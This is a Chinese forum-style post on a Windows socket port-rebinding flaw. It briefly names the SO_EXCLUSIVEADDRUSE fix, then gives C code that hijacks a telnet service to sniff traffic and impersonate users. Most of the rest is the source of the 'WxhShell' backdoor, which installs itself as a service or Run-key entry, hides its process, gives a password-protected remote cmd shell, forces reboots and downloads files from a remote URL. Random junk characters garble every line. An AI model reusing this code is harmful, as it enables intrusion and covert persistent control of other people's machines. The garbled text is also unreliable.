在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
b IDUa s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
oV|O`n mG~_*8}e< saddr.sin_family = AF_INET;
_jWs(OmJ E$d#4x saddr.sin_addr.s_addr = htonl(INADDR_ANY);
5E!C?dv(z &5CRXf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
5ut| eD`3 L*@`i ]jl 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
3Cf9'C t^s&1#iC 这意味着什么?意味着可以进行如下的攻击:
&i#$ia r _y@28t 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Y]z
:^D ]\E"oZ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
lZFu|( '-iEbE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
@HT\Y%E =|3BkmO 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
"J VIkC m%'nk"p9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Y.^L^ "%dF .<x6U*)\O
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
C{exvLQ S?J!.( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
0w?da~ M4^G3c< #include
q<3nAE$?= #include
CM6% g f3 #include
!fh (k #include
AdX))xgl DWORD WINAPI ClientThread(LPVOID lpParam);
tOwn M1
:( int main()
!_QI<=X {
f|[7LIdh- WORD wVersionRequested;
(gt\R} DWORD ret;
Fmk:[hMw WSADATA wsaData;
X5 vMY BOOL val;
[xS7ae SOCKADDR_IN saddr;
s~M4. 06P SOCKADDR_IN scaddr;
+^.Yt0} int err;
umYsO.8 SOCKET s;
]so/AdT9hA SOCKET sc;
m`yvZ4K! int caddsize;
I
_nQTWcm HANDLE mt;
"1O_h6C DWORD tid;
n,N->t$i wVersionRequested = MAKEWORD( 2, 2 );
#bOv}1,s err = WSAStartup( wVersionRequested, &wsaData );
M/3;-g if ( err != 0 ) {
m+QS -woHn printf("error!WSAStartup failed!\n");
#s)f3HU> return -1;
o9kJ90{D= }
Kb~nC6yJc saddr.sin_family = AF_INET;
_4{0He`q ,=/9Ld2w9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
(tK_(gO sh/,"b2!P saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
|G j.E saddr.sin_port = htons(23);
K#3^GB3P if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:1' {
L+t
/
E` printf("error!socket failed!\n");
ysaRH3M return -1;
G[64qhTC }
,@*5x'auK val = TRUE;
rH}|~ //SO_REUSEADDR选项就是可以实现端口重绑定的
$LP(\T([ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
_i=*0Q {
Z{8%Cln printf("error!setsockopt failed!\n");
RdCGK?s return -1;
aDS:82GMQ }
lrrTeE* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
l@`k:? //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
d i\.*7l? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
}7PJr/IuF ;,y_^-h; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
,Ag {-& {
hY)zKX_r ret=GetLastError();
0'sZ7f<e7 printf("error!bind failed!\n");
dXyMRGRUq return -1;
2&hv6Y1 }
kZ9Gl!g listen(s,2);
7qC
/a
c while(1)
g=:o 'W$@ {
;>,B(Xz4i caddsize = sizeof(scaddr);
qq)5)S //接受连接请求
ZflB<cI sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
s_^`t+5 if(sc!=INVALID_SOCKET)
|d0X1( {
)nd^@G^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
uQ=u@qtp if(mt==NULL)
Ar-Vu{` {
k>i88^kPV printf("Thread Creat Failed!\n");
S|tD8A break;
Z%~}*F}7X }
^B"LT>.[ }
M$x,B#b CloseHandle(mt);
xQR/Xp!h }
; _%zf5;' closesocket(s);
#JUh"8N' WSACleanup();
ju2H0AQ return 0;
ZayJllaq^ }
|Iy;_8c DWORD WINAPI ClientThread(LPVOID lpParam)
{$S"Sj {
r^k+D<k[7 SOCKET ss = (SOCKET)lpParam;
m"L^tSD~ SOCKET sc;
[REH*_ unsigned char buf[4096];
L7ae6#5. SOCKADDR_IN saddr;
b+Q{Z* long num;
+2[0q% i DWORD val;
9KK^1<46c DWORD ret;
RHsVG &<j //如果是隐藏端口应用的话,可以在此处加一些判断
D#nH g //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
<Zva saddr.sin_family = AF_INET;
6 ;'s9s" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8UB2 du@? saddr.sin_port = htons(23);
'IU3Xu[-. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
G}U <^]c {
`8ob Xb printf("error!socket failed!\n");
lhM5a
\ return -1;
S @[]znH }
%
J\G[dl val = 100;
W@!qp if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1
-Z&/3T] {
O0}uY:B ret = GetLastError();
7\@c1e*e
return -1;
IlJ"t`Z9) }
NXD- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
y,?=,x}o# {
>4g!ic~O ret = GetLastError();
\7\sx:!$ return -1;
c{^1`(#? }
=t N}4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
S6bW
r0XR {
rL<N:@HL printf("error!socket connect failed!\n");
<ppdy,j: closesocket(sc);
4{>r_^8 closesocket(ss);
A}"|_&E return -1;
we}xGb.u }
v:lkvMq|= while(1)
",apO {
0}GO$%l //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
7<LuL //如果是嗅探内容的话,可以再此处进行内容分析和记录
YM#'+wl}` //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
"s@Hg1 num = recv(ss,buf,4096,0);
"=2\kZ if(num>0)
'qV lq5. send(sc,buf,num,0);
G/
si( LK else if(num==0)
p*K #s1 break;
+wG
*qI num = recv(sc,buf,4096,0);
M._h=wX{} if(num>0)
t!4 (a0\$F send(ss,buf,num,0);
9z?c0W5x else if(num==0)
!- [ZQ break;
z<Z0/a2'1 }
J"#6m&R_q closesocket(ss);
)P?0YC closesocket(sc);
rHk(@T.] return 0 ;
~LI } }
e!=7VEB w#2apaz >'n[B ==========================================================
AK
lra$ -Tvnd, 下边附上一个代码,,WXhSHELL
|Ja5O 'h ? ==========================================================
q'fOlq ?Kmz urG #include "stdafx.h"
Sj)?! _G`Q2hf"5 #include <stdio.h>
=Crl{Ax #include <string.h>
*56j'FX #include <windows.h>
J_a2DM6d #include <winsock2.h>
51%Rk,/o #include <winsvc.h>
*s, bz.[ #include <urlmon.h>
nVlZ_72d 4]}d'x& #pragma comment (lib, "Ws2_32.lib")
QlVj#Jv;~ #pragma comment (lib, "urlmon.lib")
3Ch42< rhYAR r' #define MAX_USER 100 // 最大客户端连接数
` *hTx|!' #define BUF_SOCK 200 // sock buffer
l_((3e[) #define KEY_BUFF 255 // 输入 buffer
Vh01y f lB_4jc #define REBOOT 0 // 重启
nzO-\`40 #define SHUTDOWN 1 // 关机
Mg0ai6KD f:nXE&X[ #define DEF_PORT 5000 // 监听端口
UQ hD8Z'I. @WXRZEz #define REG_LEN 16 // 注册表键长度
pVl7]_=m #define SVC_LEN 80 // NT服务名长度
aeYz;&K 2./z6jXW_ // 从dll定义API
EWl9rF@I typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
DZ`,QWuA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
|+~P; fG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
O*2{V]Y
@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+-x+c:
IxA /_JR7BB^X, // wxhshell配置信息
w@mCQ$ struct WSCFG {
}ub>4N[ int ws_port; // 监听端口
U e-AF# char ws_passstr[REG_LEN]; // 口令
FYNUap,A int ws_autoins; // 安装标记, 1=yes 0=no
>;G7ty[RX7 char ws_regname[REG_LEN]; // 注册表键名
z$Z%us>io char ws_svcname[REG_LEN]; // 服务名
LvGo$f/9 char ws_svcdisp[SVC_LEN]; // 服务显示名
"tb KbFn9 char ws_svcdesc[SVC_LEN]; // 服务描述信息
P;7[5HFF char ws_passmsg[SVC_LEN]; // 密码输入提示信息
od@!WjcM[8 int ws_downexe; // 下载执行标记, 1=yes 0=no
R0w~ Z
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
*?Oh%.HgF char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Mu.tq~b > 1)e[F#| };
6QHUBm2 nY 50dFA, // default Wxhshell configuration
iCh,7I,m struct WSCFG wscfg={DEF_PORT,
@hj5j;NHK "xuhuanlingzhe",
rCgoU
xW` 1,
zvK'j"Wq= "Wxhshell",
C`qE ,2. "Wxhshell",
aUk]wiwIR9 "WxhShell Service",
7KL@[ "Wrsky Windows CmdShell Service",
l1vI "Please Input Your Password: ",
6{!Cx9V 1,
aM+Am,n`@ "
http://www.wrsky.com/wxhshell.exe",
qs!A)H# "Wxhshell.exe"
c8LMvL };
otbr8&?- 1YNw= // 消息定义模块
@Yn+ir0>O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
==AmL]* char *msg_ws_prompt="\n\r? for help\n\r#>";
Jq?Fi'2F% char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ksf6O$ char *msg_ws_ext="\n\rExit.";
!<>*|a char *msg_ws_end="\n\rQuit.";
`BVXF#sb char *msg_ws_boot="\n\rReboot...";
uHq;z{ 2GI char *msg_ws_poff="\n\rShutdown...";
AQwai>eL char *msg_ws_down="\n\rSave to ";
|k^C- SHT` char *msg_ws_err="\n\rErr!";
![9$ru char *msg_ws_ok="\n\rOK!";
-&l%CR,U {gh<SZsE char ExeFile[MAX_PATH];
0D Lw int nUser = 0;
ohjl*dw HANDLE handles[MAX_USER];
2Z>8ROv^X int OsIsNt;
d$"?8r4:K ;Yt+{pI SERVICE_STATUS serviceStatus;
%JgdLnQE SERVICE_STATUS_HANDLE hServiceStatusHandle;
O?ODfO+> g(9kc<`3'D // 函数声明
$[Q;{Q int Install(void);
67XUhnE int Uninstall(void);
bh(}f.@
9 int DownloadFile(char *sURL, SOCKET wsh);
hpgOsF9Lh int Boot(int flag);
@]!9;?so void HideProc(void);
6_:I~TTX int GetOsVer(void);
Fv*Et-8tN5 int Wxhshell(SOCKET wsl);
e_"m\e#N void TalkWithClient(void *cs);
$01csj int CmdShell(SOCKET sock);
&u~Pp=kv int StartFromService(void);
y)"rh /; int StartWxhshell(LPSTR lpCmdLine);
a@J/[$5 sY4q$Fq VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
CF
3V)3} VOID WINAPI NTServiceHandler( DWORD fdwControl );
zU0SlRFu H32o7]lT // 数据结构和表定义
9c%CCZ SERVICE_TABLE_ENTRY DispatchTable[] =
\t5_V)P {
!9.FI{W {wscfg.ws_svcname, NTServiceMain},
Ii&p v {NULL, NULL}
{,u})U2 };
*nYg-) "7'P Lo3O // 自我安装
s/B_ int Install(void)
uq;yR[w" {
RL$%Vy0 char svExeFile[MAX_PATH];
&Q#*Nnb3 HKEY key;
li,rPUCt strcpy(svExeFile,ExeFile);
$s4.Aj @meT8S9t // 如果是win9x系统,修改注册表设为自启动
2W2T if(!OsIsNt) {
TMo DN%{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
T@*'}* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y$9! rbL RegCloseKey(key);
3H0B+F2XQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
PfyJJAQ[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`lQ;M?D RegCloseKey(key);
\Z,{De% return 0;
P@f#DX
) }
k'k}/Hxub }
C
fM[<w
}
KyyVO" else {
_9JFlBx hO&_VCk // 如果是NT以上系统,安装为系统服务
TEh.?
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#4lIna%VX if (schSCManager!=0)
p_(En4QSH {
rlGv6)vb SC_HANDLE schService = CreateService
rwVp}H G
(
reNf?7G+m schSCManager,
d^J)Mhju wscfg.ws_svcname,
PZ`11#bbm wscfg.ws_svcdisp,
zj(V\y&H SERVICE_ALL_ACCESS,
#]6{>n1*+w SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
hlDB'8 SERVICE_AUTO_START,
ma+AFCi SERVICE_ERROR_NORMAL,
~\AF\n% svExeFile,
kiyc ^s NULL,
Ix}6%2\ NULL,
/Q3\6DCl NULL,
0Sz[u\w NULL,
+'-.c" NULL
vg5_@7 );
/s~S\dG if (schService!=0)
EEnl' {
/aMOZ=,q} CloseServiceHandle(schService);
aWlIq(dU CloseServiceHandle(schSCManager);
hxK;f strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\xbUr`WBY strcat(svExeFile,wscfg.ws_svcname);
B~7!v${ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
oda, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
KbtV> RegCloseKey(key);
dzBP<Xyh return 0;
&b`W<PAc?4 }
D4,>g )B }
b0YEIV<$ CloseServiceHandle(schSCManager);
:)D7_[i }
)-emSV0zE }
x(vQ%JC ($kw*H{Ah^ return 1;
\0d'y#Gp* }
,aLwOmO )0iN2L]U; // 自我卸载
.1jiANY int Uninstall(void)
: S3+UT {
_1&Ar4: HKEY key;
9i}$245lB y:}qoT_. if(!OsIsNt) {
TKv!wKI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a!E22k?((z RegDeleteValue(key,wscfg.ws_regname);
*$W&jfW RegCloseKey(key);
UUlz3"` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@anjjC5a~ RegDeleteValue(key,wscfg.ws_regname);
&v0-$ RegCloseKey(key);
m;]wKd" return 0;
CpmT* }
%ACW"2#( }
m|B= }
0Zi+x#&d else {
&.\7='$F 3g;, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
+Gt9!x}#e if (schSCManager!=0)
1QG q;6\ {
]FZPgO'G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
y'`/^>. if (schService!=0)
'2*OrY {
a
@2fJ} if(DeleteService(schService)!=0) {
[i/!ovcY CloseServiceHandle(schService);
l^9gFp~I CloseServiceHandle(schSCManager);
NBY|U{.g return 0;
X<}}DZSu a }
Ly+UY.v" CloseServiceHandle(schService);
_E`+0;O }
<3x%-m+p4 CloseServiceHandle(schSCManager);
32<D9_ }
Qk:Lo*! }
mGj)Zrx> 5M~{MdF|. return 1;
`a4&_`E,p }
5b7(^T^K kFWwz^x // 从指定url下载文件
{h7 vJ^ int DownloadFile(char *sURL, SOCKET wsh)
w,LmAWZ4Y {
{:K_=IRZ HRESULT hr;
[3G{NC|' char seps[]= "/";
L^
J|cgmNw char *token;
w3(|A> s3 char *file;
q[a\a7U z char myURL[MAX_PATH];
eZa*WI= char myFILE[MAX_PATH];
3-
Kgz w}>%E6UY strcpy(myURL,sURL);
gmRc4o token=strtok(myURL,seps);
}q.D)'g_ while(token!=NULL)
5]N0p,f {
|(3y09 file=token;
)}`z<)3jP token=strtok(NULL,seps);
6iyl8uL0J }
#dWz,e3 Lj<TzPzg* GetCurrentDirectory(MAX_PATH,myFILE);
P_1WJ strcat(myFILE, "\\");
N| DI
k strcat(myFILE, file);
qY#*LqV send(wsh,myFILE,strlen(myFILE),0);
UhDQl%&He send(wsh,"...",3,0);
]- 1(r, hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6:#o0OeBP if(hr==S_OK)
K=[7<b,:3 return 0;
\5r^D|Rp} else
9:USxFM return 1;
G<$:[ +w @-!P1]V| }
#:gd9os : )=[\Yf K // 系统电源模块
)A7^LLzG int Boot(int flag)
0!\C@wnH {
l/'GbuECm HANDLE hToken;
f=F:Af! TOKEN_PRIVILEGES tkp;
A*y4<'}<
/:4J if(OsIsNt) {
@.eN+o9| OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
@ep.wW LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Jw;~ $ tkp.PrivilegeCount = 1;
@*YF!LdU{M tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
! Ld5Y$ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u /F!8# if(flag==REBOOT) {
2X@9o4_4q if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|IcW7( return 0;
'@t$3
hk }
lFBpNUnzU else {
2 ?t@<M] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
o8g7wM]M return 0;
.dlsiBh }
fs'SCwx }
kXwAw]ogN else {
_nMd if(flag==REBOOT) {
I@cw=_EQL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
.uJ
J< return 0;
D;pI!S<# }
pWV_KS else {
d?*]/ZiR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
PEf yHf7` return 0;
>a?Bk4w }
e'3V4iU] }
fvC,P#z'| Tz @=N] D return 1;
|U|>YA1[b }
J\@6YU[A R.^]{ 5 // win9x进程隐藏模块
f*o void HideProc(void)
Njc@5*rJ& {
VHD+NY/ WywS1viD HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Dp([r if ( hKernel != NULL )
%F 2h C
x {
=0ZRGp pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!?P8[K ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
xuK"pS FreeLibrary(hKernel);
\?xM%(:<Q }
k H.dtg_ r:g\ return;
f$C{Z9_SX }
EqW~K@ JQ03om--( // 获取操作系统版本
:wC\IwG~CE int GetOsVer(void)
:0J`4 {
>(Y CZ OSVERSIONINFO winfo;
<YaT r9%w winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
a{nR:zPE GetVersionEx(&winfo);
` 2W^Ui,4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
M =^d return 1;
a^%iAe else
pm6#azQ return 0;
p) 8S]p] }
s;VW
%e r2=@1=?8 // 客户端句柄模块
) E^S+ps int Wxhshell(SOCKET wsl)
[YOH'i&X {
D3Q+K SOCKET wsh;
qb"S struct sockaddr_in client;
}1#m+ (; DWORD myID;
u&zY>'}zm ^'X
I%fEf while(nUser<MAX_USER)
@O#!W]6NT6 {
gVG^R02#<k int nSize=sizeof(client);
X$kLBG[o_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
07 LyB\l~ if(wsh==INVALID_SOCKET) return 1;
"|
nXR8t.r S!?T0c?> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
u({^8: AYu if(handles[nUser]==0)
L( 6b2{" closesocket(wsh);
N3G9o`k else
KXt8IMP_"y nUser++;
"tyRnUP }
t&U9Z$LS WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
>G`p T# yy3rh(ea return 0;
2!%)_< }
T~UDD3 )LP'4* // 关闭 socket
j^jC| void CloseIt(SOCKET wsh)
'w:ugb9] {
mE~WE+lw9 closesocket(wsh);
+/B nUser--;
.tRm1&Qi ExitThread(0);
Fs]N9],=I }
".}R$W `EKf1U\FI // 客户端请求句柄
dgVGP_~ void TalkWithClient(void *cs)
eT%x(P {
Bl\:YYd #S7oW@ SOCKET wsh=(SOCKET)cs;
D`XXR}8V char pwd[SVC_LEN];
O*N:A[eW char cmd[KEY_BUFF];
.X!!dx1< char chr[1];
_9BL7W $; int i,j;
4X=VNORlU0 rmg\Pa8W> while (nUser < MAX_USER) {
*~8F.cx >nkVZ;tL if(wscfg.ws_passstr) {
FG${w.e< if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
"ku[b\W //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H&s`Xr
//ZeroMemory(pwd,KEY_BUFF);
9~V'Wev i=0;
uyX
%&r while(i<SVC_LEN) {
?8
}pZ_ j aR2N,<Cp5 // 设置超时
SS/vw% fd_set FdRead;
I[E 6N2 struct timeval TimeOut;
b`e_}^,c FD_ZERO(&FdRead);
Ug*B[q/ FD_SET(wsh,&FdRead);
M7BpOmK' TimeOut.tv_sec=8;
P#TPI*qw TimeOut.tv_usec=0;
QGNKQ`~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
jI,[(Z> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
>33=0< L;:|bVH if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
K+Him]
b pwd
=chr[0]; 59nRk}^$se
if(chr[0]==0xd || chr[0]==0xa) { 2*snMA
pwd=0; @Z/jaAjUC
break; fV+a0=Z
} >FE8CH!W&
i++; AYf}=t|
} :uYZ1O
8YZ9
// 如果是非法用户,关闭 socket g:uVl;>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +kWWx#L#
} /J^dzvH
xR-;,=J
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aH;AGbp
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,|c;x1|O
MXW1:
while(1) { `N[@lV\xp!
tHzgZoBz
ZeroMemory(cmd,KEY_BUFF); e,Cc.T\o
8K2 @[TE=5
// 自动支持客户端 telnet标准 Ep-bx&w+
j=0; &Sb)a
while(j<KEY_BUFF) { Zf>:h
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QE/kR!r
cmd[j]=chr[0]; IS"[<
if(chr[0]==0xa || chr[0]==0xd) { ?"'+tZ=f6
cmd[j]=0; a;5clonB
break; \i?bt0 bM
} 7 Td
9mkO
j++; 1E$\&*(
} RQ0^
1
R
0J?443AY
// 下载文件 ,$!F,c
if(strstr(cmd,"http://")) { ?9xWTVa8
send(wsh,msg_ws_down,strlen(msg_ws_down),0); nYyKz
Rz
if(DownloadFile(cmd,wsh)) (<B%Gy@
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S?Cd,WxT
else ;a|%W4 "
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qJ5b;=
} tJ\v>s-f
else { E6R\DM
6 _V1s1F
switch(cmd[0]) { v~x`a0
BNk >D|D;
// 帮助 s Y4wdG
case '?': { 7%$3`4i`O
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N MkOx$
break; HjzAFXRG
} 9b6U]z,
// 安装 EPwU{*F
case 'i': { IJ5'n
if(Install()) [c;0eFSi2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2f{p$YIt
else HoX={^aG%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6i+AJCkC
break; @-0mE_$[
} ltrti.&
// 卸载 ;dfIzi
case 'r': { n4B
uM R
if(Uninstall()) [OPF3W3z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D'%M#S0
else -`\n/"#X6i
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wm}T=L`
break; s(Wys^[g
} -|u
yJh
// 显示 wxhshell 所在路径 nm_taER
case 'p': { /?j
kVy*"
char svExeFile[MAX_PATH]; jT]R"U/Q
strcpy(svExeFile,"\n\r"); ?N9Z;_&^.
strcat(svExeFile,ExeFile); B^]Gv7-
send(wsh,svExeFile,strlen(svExeFile),0); 'xG{q+jj'
break; Pxkh;:agD
} EqBTN07dZS
// 重启 YnU*MC}
case 'b': { *T}c{/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6)ysiAH?
if(Boot(REBOOT)) Kc@Sw{JR#7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sEKF
else { !K2QD[x
closesocket(wsh); UCj<FN `
ExitThread(0); 3&"uf9d
} J0f!+]~G3
break; o:*$G~. k
} /V2yLHm
// 关机 RkTYvAk|kY
case 'd': { :)4c_51 `
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MOytxl:R
if(Boot(SHUTDOWN)) oO7)7$|1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U|QP]6v
else { <EE^ KR96
closesocket(wsh); vxi_Y\r=T
ExitThread(0); 0ap'6
} M+j*5wNy
break; A5\ Hq
} uvR l`"Y
// 获取shell ?|Z~mE
case 's': { |+[Y_j
CmdShell(wsh); tnBCO%uG
closesocket(wsh); ~gQYgv<7
ExitThread(0); ,h/l-#KS
break; ~>_UTI
} fo~*Bp()-E
// 退出 C CLc,r>)
case 'x': { amX1idHo^
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZCBF&.!
CloseIt(wsh); P1^|r}
break; [#G*GAa6*
} ^ rUq{
// 离开 a2]ZYY`R7
case 'q': { <$Sl%DoS
send(wsh,msg_ws_end,strlen(msg_ws_end),0); LylCr{s7
closesocket(wsh); #W.vX=/*
WSACleanup(); j/NX
exit(1); *5hbD-a:
break; G;[O~N3n.
} Z( "-7_
} L(k`1E
} 8GjETq%}
Jt<J#M<}7
// 提示信息 XIdC1%pr;
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ( *K)D$y
} ,&fZo9J9
} 3` D['
gNDMJ^`
return; IGlyx'\_
} WIAukM8~
3J/l>1[
// shell模块句柄 BJ'pe[Xa5
int CmdShell(SOCKET sock) <$a-.C5
{ Fq
oh!F
STARTUPINFO si; 4%_xTo
ZeroMemory(&si,sizeof(si)); iE_[]Vgc
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >LH}A6dUC
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 28c6~*Te#
PROCESS_INFORMATION ProcessInfo; =*zde0T?l
char cmdline[]="cmd"; Q7d@+C
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &"27U
return 0; _V0%JE'
} D:z_FNN
R?tjobk!
// 自身启动模式 + 660/ e8N
int StartFromService(void) (ov&iNx
{ "!eq~/nk
typedef struct `CBXz!v!O
{ o61rTj
DWORD ExitStatus; fgC@(dvfk
DWORD PebBaseAddress; :qj;f];|
DWORD AffinityMask; :("@U,
DWORD BasePriority; 8|L@-F
ULONG UniqueProcessId; >ZeARCf"f
ULONG InheritedFromUniqueProcessId; WiQVZ{
